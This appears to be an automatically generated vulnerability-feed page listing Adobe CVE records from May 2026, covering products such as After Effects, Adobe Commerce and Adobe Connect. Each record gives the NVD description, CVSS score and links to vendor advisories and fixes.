Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Media Encoder versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current...
https://kevwire.com/record/CVE-2026-34639
Media Encoder versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current... (May 12, 2026).
Media Encoder versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34639).
Sources:
NVD CVE-2026-34639: https://nvd.nist.gov/vuln/detail/CVE-2026-34639
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/media-encoder/apsb26-47.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Media Encoder versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### After Effects versions 26.0, 25.6.4 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the...
https://kevwire.com/record/CVE-2026-34642
After Effects versions 26.0, 25.6.4 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the... (May 12, 2026).
After Effects versions 26.0, 25.6.4 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34642).
Sources:
NVD CVE-2026-34642: https://nvd.nist.gov/vuln/detail/CVE-2026-34642
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/after_effects/apsb26-48.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
After Effects versions 26.0, 25.6.4 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### After Effects versions 26.0, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current...
https://kevwire.com/record/CVE-2026-34643
After Effects versions 26.0, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current... (May 12, 2026).
After Effects versions 26.0, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34643).
Sources:
NVD CVE-2026-34643: https://nvd.nist.gov/vuln/detail/CVE-2026-34643
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/after_effects/apsb26-48.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
After Effects versions 26.0, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### After Effects versions 26.0, 25.6.4 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the...
https://kevwire.com/record/CVE-2026-34644
After Effects versions 26.0, 25.6.4 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the... (May 12, 2026).
After Effects versions 26.0, 25.6.4 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34644).
Sources:
NVD CVE-2026-34644: https://nvd.nist.gov/vuln/detail/CVE-2026-34644
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/after_effects/apsb26-48.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
After Effects versions 26.0, 25.6.4 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Incorrect Authorization vulnerability that could result in...
https://kevwire.com/record/CVE-2026-34645
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Incorrect Authorization vulnerability that could result in... (May 12, 2026).
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34645).
Sources:
NVD CVE-2026-34645: https://nvd.nist.gov/vuln/detail/CVE-2026-34645
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/magento/apsb26-49.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Incorrect Authorization vulnerability that could result in...
https://kevwire.com/record/CVE-2026-34646
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Incorrect Authorization vulnerability that could result in... (May 12, 2026).
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34646).
Sources:
NVD CVE-2026-34646: https://nvd.nist.gov/vuln/detail/CVE-2026-34646
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/magento/apsb26-49.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could...
https://kevwire.com/record/CVE-2026-34647
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could... (May 12, 2026).
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.
CVSS 7.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34647).
Sources:
NVD CVE-2026-34647: https://nvd.nist.gov/vuln/detail/CVE-2026-34647
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/magento/apsb26-49.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could...
https://kevwire.com/record/CVE-2026-34648
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could... (May 12, 2026).
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34648).
Sources:
NVD CVE-2026-34648: https://nvd.nist.gov/vuln/detail/CVE-2026-34648
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/magento/apsb26-49.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could...
https://kevwire.com/record/CVE-2026-34649
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could... (May 12, 2026).
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34649).
Sources:
NVD CVE-2026-34649: https://nvd.nist.gov/vuln/detail/CVE-2026-34649
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/magento/apsb26-49.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could...
https://kevwire.com/record/CVE-2026-34650
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could... (May 12, 2026).
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34650).
Sources:
NVD CVE-2026-34650: https://nvd.nist.gov/vuln/detail/CVE-2026-34650
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/magento/apsb26-49.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could...
https://kevwire.com/record/CVE-2026-34651
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could... (May 12, 2026).
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34651).
Sources:
NVD CVE-2026-34651: https://nvd.nist.gov/vuln/detail/CVE-2026-34651
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/magento/apsb26-49.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a Dependency on Vulnerable Third-Party Component vulnerability...
https://kevwire.com/record/CVE-2026-34652
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a Dependency on Vulnerable Third-Party Component vulnerability... (May 12, 2026).
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a Dependency on Vulnerable Third-Party Component vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34652).
Sources:
NVD CVE-2026-34652: https://nvd.nist.gov/vuln/detail/CVE-2026-34652
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/magento/apsb26-49.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a Dependency on Vulnerable Third-Party Component vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory...
https://kevwire.com/record/CVE-2026-34653
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory... (May 12, 2026).
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could result in arbitrary file system read and write. An authenticated attacker with administrative privileges could exploit this vulnerability to read or write files outside the restricted directory. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 8.7 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34653).
Sources:
NVD CVE-2026-34653: https://nvd.nist.gov/vuln/detail/CVE-2026-34653
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/magento/apsb26-49.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could result in arbitrary file system read and write. An authenticated attacker with administrative privileges could exploit this vulnerability to read or write files outside the restricted directory. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Connect versions 2025.9.15, 2025.8.157 and earlier are affected by a Deserialization of Untrusted Data vulnerability that could result in arbitrary code execution in the...
https://kevwire.com/record/CVE-2026-34659
Adobe Connect versions 2025.9.15, 2025.8.157 and earlier are affected by a Deserialization of Untrusted Data vulnerability that could result in arbitrary code execution in the... (May 12, 2026).
Adobe Connect versions 2025.9.15, 2025.8.157 and earlier are affected by a Deserialization of Untrusted Data vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34659).
Sources:
NVD CVE-2026-34659: https://nvd.nist.gov/vuln/detail/CVE-2026-34659
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/connect/apsb26-50.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Adobe Connect versions 2025.9.15, 2025.8.157 and earlier are affected by a Deserialization of Untrusted Data vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Connect versions 2025.9.15, 2025.8.157 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of...
https://kevwire.com/record/CVE-2026-34660
Adobe Connect versions 2025.9.15, 2025.8.157 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of... (May 12, 2026).
Adobe Connect versions 2025.9.15, 2025.8.157 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.
CVSS 9.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34660).
Sources:
NVD CVE-2026-34660: https://nvd.nist.gov/vuln/detail/CVE-2026-34660
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/connect/apsb26-50.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Adobe Connect versions 2025.9.15, 2025.8.157 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials versions c2pa-web@0.7.0, c2pa-v0.78.2 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application...
https://kevwire.com/record/CVE-2026-34665
CAI Content Credentials versions c2pa-web@0.7.0, c2pa-v0.78.2 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application... (May 12, 2026).
CAI Content Credentials versions c2pa-web@0.7.0, c2pa-v0.78.2 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34665).
Sources:
NVD CVE-2026-34665: https://nvd.nist.gov/vuln/detail/CVE-2026-34665
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
CAI Content Credentials versions c2pa-web@0.7.0, c2pa-v0.78.2 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Painter versions 12.0.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current...
https://kevwire.com/record/CVE-2026-34675
Substance3D - Painter versions 12.0.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current... (May 12, 2026).
Substance3D - Painter versions 12.0.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34675).
Sources:
NVD CVE-2026-34675: https://nvd.nist.gov/vuln/detail/CVE-2026-34675
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/substance3d_painter/apsb26-55.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Substance3D - Painter versions 12.0.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Painter versions 12.0.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current...
https://kevwire.com/record/CVE-2026-34676
Substance3D - Painter versions 12.0.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current... (May 12, 2026).
Substance3D - Painter versions 12.0.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34676).
Sources:
NVD CVE-2026-34676: https://nvd.nist.gov/vuln/detail/CVE-2026-34676
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/substance3d_painter/apsb26-55.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Substance3D - Painter versions 12.0.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

